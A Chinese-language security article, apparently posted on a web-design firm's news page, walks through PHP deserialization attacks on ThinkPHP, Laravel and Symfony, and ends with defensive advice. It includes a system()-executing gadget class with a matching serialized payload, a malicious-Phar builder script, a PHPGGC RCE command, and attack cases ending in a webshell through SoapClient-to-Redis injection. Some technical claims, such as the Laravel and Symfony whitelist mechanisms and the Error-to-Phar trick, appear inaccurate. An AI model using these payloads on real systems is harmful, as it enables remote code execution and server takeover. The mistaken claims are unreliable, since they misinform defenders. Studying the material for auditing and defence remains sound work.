尧图网站建设 尧图网络
  • 首页
  • 关于我们
  • 服务项目
  • 案例展示
  • 建站流程
  • 资讯中心
  • 联系我们
首页/资讯中心/详情

PHP框架反序列化漏洞:从原理到实战深度剖析

PHP框架反序列化漏洞:从原理到实战深度剖析
📅 发布时间:2026/6/19 6:22:40

前言:为什么是反序列化?

在PHP安全领域,反序列化漏洞(亦称PHP对象注入)被誉为“核武器”级别的漏洞。与SQL注入、XSS等传统漏洞不同,反序列化漏洞往往能直接导致远程代码执行(RCE),且利用手法极其精巧。而在现代Web开发中,几乎99%的项目都基于框架构建,这使得“PHP框架反序列化”成为了安全研究员和红队人员必须攻克的堡垒。

本文将围绕以下核心展开:

  1. 底层原理:PHP序列化机制与魔术方法。

  2. POP链:面向属性编程的核心思想。

  3. 主流框架深度剖析:ThinkPHP、Laravel、Symfony的经典链分析与挖掘。

  4. 高级利用技巧:原生类利用、GC绕过、字符串逃逸。

  5. 防御与修复:反序列化入口的识别与加固。


第一部分:PHP反序列化基础(约3000字)

1.1 序列化与反序列化

序列化是将变量(对象、数组等)转换为可存储或传输的字符串格式的过程;反序列化则是将字符串还原为PHP变量。

序列化格式示例:

php

$user = new User(); $user->name = "admin"; $user->isAdmin = true; echo serialize($user); // 输出: O:4:"User":2:{s:4:"name";s:5:"admin";s:7:"isAdmin";b:1;}

格式解析:

  • O:4:"User":2:对象(Object),类名长度4,类名User,属性数量2。

  • {...}:属性列表。

  • s:4:"name":字符串类型,长度4,值name。

  • s:5:"admin":对应的值。

关键点:当unserialize()处理外部可控的字符串时,如果字符串被恶意构造,则可能触发意料之外的对象方法执行。

1.2 魔术方法:漏洞的入口点

魔术方法是反序列化漏洞利用的基石。当反序列化过程中满足特定条件时,PHP会自动调用这些方法。

魔术方法触发时机在链中的作用
__wakeup()反序列化恢复对象时立即调用最常见的入口点,用于初始化对象。
__destruct()对象被销毁时(脚本结束或unset)链的终点,通常在此执行危险操作。
__toString()对象被当作字符串使用时常用于从简单对象跳转到复杂对象。
__call()调用对象中不可访问的方法时用于代理方法调用,绕过限制。
__get()读取不可访问的属性时用于属性劫持。
__set()给不可访问的属性赋值时用于属性覆盖。
__invoke()将对象作为函数调用时常用于执行回调。

示例:最简单的利用

php

class Evil { public $cmd; function __destruct() { system($this->cmd); } } unserialize($_GET['data']); // 攻击者传入: O:4:"Evil":1:{s:3:"cmd";s:2:"id";}

1.3 面向属性编程

POP(Property-Oriented Programming)是反序列化利用的核心方法论。它不关注代码逻辑的正常执行流,而是:

  1. 寻找起点:魔术方法(如__destruct)。

  2. 构建链条:通过控制对象的属性,让起点调用其他类的敏感方法,形成一条从入口到危险函数(如eval,system,file_put_contents)的调用链。

  3. 利用现有代码:完全依赖目标应用已存在的类和函数,无需注入新代码。

POP链的本质:利用程序中已有的“Gadget”(小工具),通过属性操控将它们串联起来。


第二部分:常见POP链构造模式(约2000字)

2.1 简单链:__destruct->eval

php

class A { public $b; function __destruct() { $this->b->action(); } } class B { public $code; function action() { eval($this->code); } } // 链: A::__destruct -> B::action -> eval

2.2 利用__toString跳转

当对象被用于字符串上下文(如echo $obj)时,__toString被触发。

php

class Log { public $obj; function __toString() { return $this->obj->read(); } } class FileReader { public $file; function read() { return file_get_contents($this->file); } } // 链: 某处 echo $log; -> Log::__toString -> FileReader::read -> 文件读取

2.3 利用__call进行方法代理

如果类中不存在某方法,__call会被调用,可用于动态调用任意函数。

php

class Proxy { public $func; function __call($name, $args) { call_user_func_array($this->func, $args); } } // 实例: $proxy->anything() 实际调用 call_user_func($this->func, ...)

2.4 利用__get进行属性访问

php

class LazyLoader { public $class; function __get($key) { return new $this->class(); } }

2.5 数组与ArrayAccess

实现了ArrayAccess接口的类,允许像数组一样访问对象,常与__destruct中的数组遍历结合。


第三部分:主流框架反序列化深度剖析(约8000字)

3.1 ThinkPHP v5.x 反序列化链分析

ThinkPHP 5.x 是反序列化漏洞的“重灾区”。其利用链主要利用了ORM(对象关系映射)和数据库操作的特性。

3.1.1 经典链:Windows->Pivot->Model->Db-> RCE

核心入口:think\process\pipes\Windows类的__destruct方法。

php

// thinkphp/library/think/process/pipes/Windows.php public function __destruct() { $this->close(); // 调用 close $this->removeFiles(); // 调用 removeFiles }

关键点:removeFiles()方法中存在file_exists调用,如果传入的$file是一个对象,则会触发该对象的__toString方法。

php

private function removeFiles() { foreach ($this->files as $file) { if (file_exists($file)) { // 触发 __toString @unlink($file); } } }

链的延伸:

  1. __toString触发后,寻找可利用的__toString方法,例如think\model\concern\Conversion中的__toString->toJson->toArray。

  2. toArray中会遍历属性,并可能调用模型的获取器(Getter)。

  3. 通过控制模型属性,最终进入数据库查询构建器think\db\Query的__call或__callStatic,利用call_user_func_array执行任意函数。

最终Payload构造思路:

  • 构建一个Windows对象,使其$files属性指向一个Model对象。

  • 控制Model对象的数据表名、查询条件等,使得查询构建器中能调用call_user_func(['某个类', '某个方法'], '参数'),如call_user_func('system', 'id')。

3.1.2 利用__include_file实现文件包含

ThinkPHP 5.0.0-5.0.23 版本存在反序列化导致任意文件包含的链,最终利用think\View::display或think\Loader::__include_file包含恶意文件(配合phar伪协议)。

3.2 Laravel 反序列化链分析

Laravel 因其高度的抽象和组件化,反序列化链通常较长,且需要绕过多层限制。

3.2.1 核心组件:Illuminate\Broadcasting\PendingBroadcast

Laravel 5.x-8.x 的经典反序列化链入口通常是Illuminate\Broadcasting\PendingBroadcast的__destruct。

php

// vendor/laravel/framework/src/Illuminate/Broadcasting/PendingBroadcast.php public function __destruct() { $this->broadcast(); // 调用 broadcast 方法 }

broadcast方法中:

php

public function broadcast() { $this->events->dispatch(...); // 触发事件分发 }

如果$this->events可控,可控制其dispatch方法的行为。

常用利用点:

  • Illuminate\Events\Dispatcher的dispatch方法最终会调用call_user_func_array。

  • 通过控制$this->events为Illuminate\Events\Dispatcher,并控制其$listeners属性,使得dispatch执行恶意回调。

链的延伸:

  • 利用Faker\Generator的__call或__get作为中间跳板。

  • 利用Illuminate\Validation\Validator的__toString进行文件读取。

3.2.2 从__destruct到 RCE 的完整路径
  1. PendingBroadcast::__destruct

  2. Dispatcher::dispatch(事件分发)

  3. Dispatcher::makeListener

  4. call_user_func执行回调,回调可以是system,或是一个对象的__invoke方法。

  5. 若__invoke存在(如Mockery\Loader\EvalLoader),最终可执行代码。

3.2.3 Laravel 的 Guard 机制绕过

Laravel 5.8+ 引入了unserialize时的类型检查,通过$allowedClasses限制了可反序列化的类。攻击者需要通过原生类(如Error或Exception)或已存在的白名单类绕过。

3.3 Symfony 反序列化链分析

Symfony 组件广泛使用,其反序列化链常出现在symfony/serializer或symfony/validator中。

3.3.1 利用Symfony\Component\Validator\ObjectInitializer链

Symfony\Component\Validator\Mapping\Factory\LazyLoadingMetadataFactory中存在__destruct调用$this->loader->loadClassMetadata,结合Symfony\Component\Validator\Mapping\Loader\YamlFileLoader可实现任意文件读取。

3.3.2 利用Symfony\Component\Cache的 RCE 链

Symfony Cache 组件中,PdoAdapter等类在反序列化时可能触发数据库连接,结合 PDO 的本地文件读取或代码执行(如MySQL的SELECT ... INTO OUTFILE)可实现攻击。

3.3.3 结合Error与Exception的原生类利用

这是现代PHP反序列化的核心技巧。Error类和Exception类在反序列化时拥有特殊的__toString方法,会输出堆栈跟踪,其中可能包含可控的文件名或内容,结合file_exists或include可实现 PHAR 反序列化。


第四部分:高级利用技巧(约3000字)

4.1 原生类利用

PHP 内置类在反序列化中扮演着重要角色。

原生类利用方式
Error/Exception__toString输出可控内容,触发PHAR反序列化;利用堆栈跟踪绕过某些过滤。
SoapClient存在__call方法,可发起SSRF(服务器端请求伪造)。
SimpleXMLElement存在__toString,结合XXE(XML外部实体注入)。
GlobIterator存在__toString,可列举目录文件。
SplFileObject读取文件。
ZipArchive写入或解压文件。

示例:利用Error触发 PHAR 反序列化

php

$e = new Error("<payload>", 0); $e->file = "phar://path/to/file.jpg"; // 当 file_exists($e) 或类似操作触发 __toString 时,会尝试读取 phar 文件,触发反序列化

4.2 字符串逃逸

当反序列化过程涉及字符串替换或过滤时,可能导致序列化字符串的长度与实际内容不匹配,从而注入新的属性。

场景:程序将用户输入进行过滤后反序列化。

原始序列化串:O:1:"A":1:{s:4:"name";s:6:"hacker";}

如果程序将hacker替换为hacker_clean(长度变长),但没有修正前面的长度标识s:6,就会导致反序列化失败或解析混乱。

利用思路:构造恶意字符串,使得替换后的字符串能够“吞掉”后续内容,并注入新的属性。

4.3 GC(垃圾回收)绕过

PHP 在销毁对象时,如果对象属性中存在循环引用,可能会触发额外的析构。攻击者可以利用__destruct中的unset或gc_collect_cycles来重新激活已经释放的对象,形成复杂的利用链。

4.4 绕过__wakeup的 CVE

在 PHP 5.6.25 及之前的版本中,存在 CVE-2016-7124:当序列化字符串中属性数量大于实际数量时,__wakeup不会被调用。虽然在高版本中已修复,但在老旧环境中依然存在。

4.5 Phar 反序列化

Phar(PHP Archive)是 PHP 的打包格式。当使用file_exists()、file_get_contents()、stat()等文件系统函数操作phar://伪协议时,PHP 会自动解析 Phar 文件的元数据并进行反序列化。

条件:

  1. 存在一个文件操作函数,参数可控(如file_exists($_GET['file']))。

  2. 能够上传一个构造好的 Phar 文件到服务器。

生成恶意 Phar:

php

class Evil { public $cmd; function __destruct() { system($this->cmd); } } $phar = new Phar('exploit.phar'); $phar->startBuffering(); $phar->setStub('<?php __HALT_COMPILER(); ?>'); $phar->setMetadata(new Evil()); // 序列化对象存入 metadata $phar->addFromString('test.txt', 'test'); $phar->stopBuffering();

上传后,通过phar://触发:file_exists('phar://upload/exploit.phar')。

4.6 Session 反序列化

PHP 的会话机制支持多种序列化处理器,如php、php_binary、wddx等。如果配置不当或存在session.upload_progress功能,攻击者可以控制 session 内容,注入恶意序列化数据。

常见漏洞点:session_start()后,程序从 session 中取出数据,如果数据是用户可控的,且程序对数据进行了反序列化操作(如unserialize($_SESSION['data'])),则可触发。


第五部分:挖掘与审计方法论(约2000字)

5.1 寻找反序列化入口

在PHP框架中,反序列化入口通常位于:

  1. unserialize函数:直接接收用户输入(GET、POST、Cookie、php://input)。

  2. session机制:session_decode或自定义处理器。

  3. phar://文件操作:file_exists,file_get_contents,fopen,stat等。

  4. serialize函数的存储:数据库、缓存、文件中的序列化数据被取回后反序列化。

  5. 第三方库:如jms/serializer、symfony/serializer在反序列化时可能缺乏类型校验。

5.2 自动挖掘工具

  • PHPGGC:最知名的 PHP 反序列化 Payload 生成器,支持 ThinkPHP、Laravel、Symfony、CodeIgniter 等主流框架。

  • Rogue:自动化寻找 POP 链的工具。

  • 静态分析:使用grep或 AST 工具搜索魔术方法调用和危险函数。

5.3 手动审计流程

  1. 定位__destruct和__wakeup:从框架的核心类库开始,搜索这些方法,分析是否存在危险操作(如call_user_func、文件操作、数据库操作)。

  2. 追踪属性传递:从入口点开始,记录哪些属性是外部可控的,如何传递给后续方法。

  3. 构建链:尝试将不同类的方法串联起来,形成闭环。

  4. 验证可行性:使用PHPGGC或手动编写测试代码,确认unserialize后是否执行了目标代码。


第六部分:防御与修复(约1500字)

6.1 输入验证与禁止反序列化

最直接的方式是:永远不要反序列化不可信的数据。如果必须反序列化,应采用以下措施:

  1. 使用allowed_classes选项:PHP 7.0+ 的unserialize支持第二个参数['allowed_classes' => false]或['allowed_classes' => ['MyClass']],禁止实例化任意类。

  2. 使用 JSON 替代:对于数据交换,使用json_encode/json_decode代替序列化,因为 JSON 不包含类信息。

  3. 签名验证:对序列化数据进行签名(HMAC),确保数据未被篡改。

6.2 框架层面的防御

  • Laravel:从 5.8 开始,在反序列化时使用Illuminate\Foundation\PackageManifest等白名单机制,限制可被反序列化的类。

  • Symfony:symfony/security组件提供了TokenSerializer并限制了可反序列化的类型。

  • ThinkPHP:官方在新版中移除了危险的反序列化入口,但开发者仍需注意自定义代码。

6.3 代码审计最佳实践

  • 禁止在__destruct或__wakeup中调用危险函数:避免在对象销毁时执行eval、system、call_user_func等。

  • 避免使用__call和__get进行无限制的动态调用:如果必须使用,严格控制参数来源。

  • 升级 PHP 版本:高版本 PHP(7.x, 8.x)修复了大量反序列化相关漏洞(如 CVE-2016-7124、属性类型混淆等)。

6.4 监控与检测

  • 在 WAF(Web应用防火墙)层,检测unserialize的输入是否包含对象标记O:或C:,并分析其长度和内容。

  • 监控phar://协议的访问,尤其是上传目录中的 Phar 文件。


第七部分:实战案例模拟(约2000字)

7.1 案例一:ThinkPHP 5.0.15 反序列化 RCE

环境:某 CMS 基于 ThinkPHP 5.0.15,存在一处反序列化入口:

php

$data = unserialize(base64_decode($_GET['data']));

利用步骤:

  1. 使用 PHPGGC 生成针对 ThinkPHP 5.0.x 的 payload:

    bash

    phpggc ThinkPHP/RCE2 system id --phar
  2. 获取生成的序列化字符串(base64 编码)。

  3. 发送请求:/?data=base64_encoded_payload。

  4. 服务器返回uid=33(www-data) ...,证明 RCE 成功。

Payload 原理:利用Windows类的__destruct->removeFiles触发__toString,进入Model的__toString->toArray,最终在数据库查询中执行call_user_func('system', 'id')。

7.2 案例二:Laravel 5.7 反序列化 + Phar 文件上传

环境:某 Laravel 应用允许上传图片,但未校验文件内容。存在一处file_exists($_POST['file_path'])。

利用步骤:

  1. 生成恶意 Phar 文件,内容为合法图片头GIF89a拼接 Phar stub。

  2. 上传图片exploit.gif。

  3. 构造请求:file_path=phar://./storage/app/public/exploit.gif。

  4. 触发反序列化,执行__destruct中的恶意代码。

7.3 案例三:原生类 SSRF 结合内网 Redis

环境:某应用反序列化时未限制类,允许SoapClient实例化。

利用步骤:

  1. 构造SoapClient对象,指定 WSDL 为内网 Redis 地址http://127.0.0.1:6379/,并设置user_agent为 Redis 命令(如CONFIG SET dir /var/www/html)。

  2. 反序列化后,SoapClient在发起请求时会发送 HTTP 请求,但通过 CRLF 注入可转化为 Redis 命令。

  3. 成功写入 Webshell 或反弹 Shell。


第八部分:总结与未来趋势(约500字)

PHP 反序列化漏洞自 PHP 4 时代就已存在,但在现代框架中,其利用方式已经从简单的__destruct+system演变为复杂的多步链式调用。随着 PHP 8.x 的普及,类型安全和JIT虽然提升了性能,但也引入了新的属性类型绕过的可能性。同时,Composer 生态的复杂性使得 POP 链的挖掘更加依赖自动化工具。

未来趋势:

  • 属性类型严格化:PHP 8 的构造函数属性提升和联合类型,使得传统的属性覆盖变得更困难,但同时也引入了新的类型混淆漏洞。

  • Fiber 与协程:异步编程的普及可能带来新的生命周期漏洞。

  • 供应链攻击:针对 Composer 包的恶意代码注入,结合反序列化后门,将成为更隐蔽的攻击手段。

作为安全从业者,深入理解 PHP 底层 Zend 引擎的对象存储机制,熟悉主流框架的架构设计,是发现和防御此类漏洞的根本途径。


附录:常用工具与资源

工具/资源用途
PHPGGC生成主流框架的反序列化 Payload。
Burp Suite抓包、重放、测试反序列化入口。
PHP_CodeSniffer检测代码中不安全的unserialize使用。
Seay源代码审计系统辅助审计 PHP 项目。
PHP Manual: Object Serialization官方文档,基础必读。
OWASP PHP Security Cheat Sheet防御指南。

相关新闻

  • 基金投资入门
  • Python开发中的常见陷阱与避坑策略
  • AD7612 ADC 采集驱动 FPGA 设计 Verilog Vivado

最新新闻

  • 从零实战Heartbleed漏洞:靶场搭建、手工复现与自动化检测脚本开发
  • 解决DataTables响应式布局中的弹出问题
  • StarCore DSP开发实战:CodeWarrior工具链深度解析与性能优化
  • Streamlit+OpenAI+Comet ML构建可追踪AI对话系统
  • 电瓶车托运破损理赔哪家好?2026最靠谱物流推荐 - 快递物流资讯
  • OCI 明明分配了 200G 系统盘,为什么 df 只看到 30G?

日新闻

  • 5分钟掌握Python进化算法:Geatpy高性能优化工具完全指南
  • Microchip 24AA044 EEPROM选型与应用全指南:从参数解析到实战编程
  • 华为的鸿蒙到底有多牛?为什么称作遥遥领先?

周新闻

  • 3步解锁iOS设备:applera1n激活锁绕过完全指南
  • 39 2026 人工智能证书终极盘点,普通人选 AI 证书可以从这些方向入手
  • Redis 暴露公网有多危险?从端口检查到补救步骤

月新闻

  • 【总结】入门篇:50句话让你记住架构核心概念
  • WeChatMsg技术方案解析:实现Mac微信数据自主管理的完整解决方案
  • WeChatMsg:革新性微信数据备份方案,打造你的专属数字记忆库

关于尧图

  • 公司简介
  • 团队介绍
  • 企业文化
  • 荣誉资质

服务项目

  • 定制开发
  • 电商建站
  • UI 设计
  • 运维服务

快速链接

  • 案例展示
  • 建站流程
  • 常见问题
  • 资讯中心

联系方式

  • 📍北京市朝阳区互联网产业园 A 座 10 层
  • 📞400-888-8888
  • ✉️contact@rkmt.cn
  • 🕐周一至周日 9:00-21:00

© 2024 北京尧图网络科技有限公司 版权所有 | 京 ICP 备 XXXXXXXX 号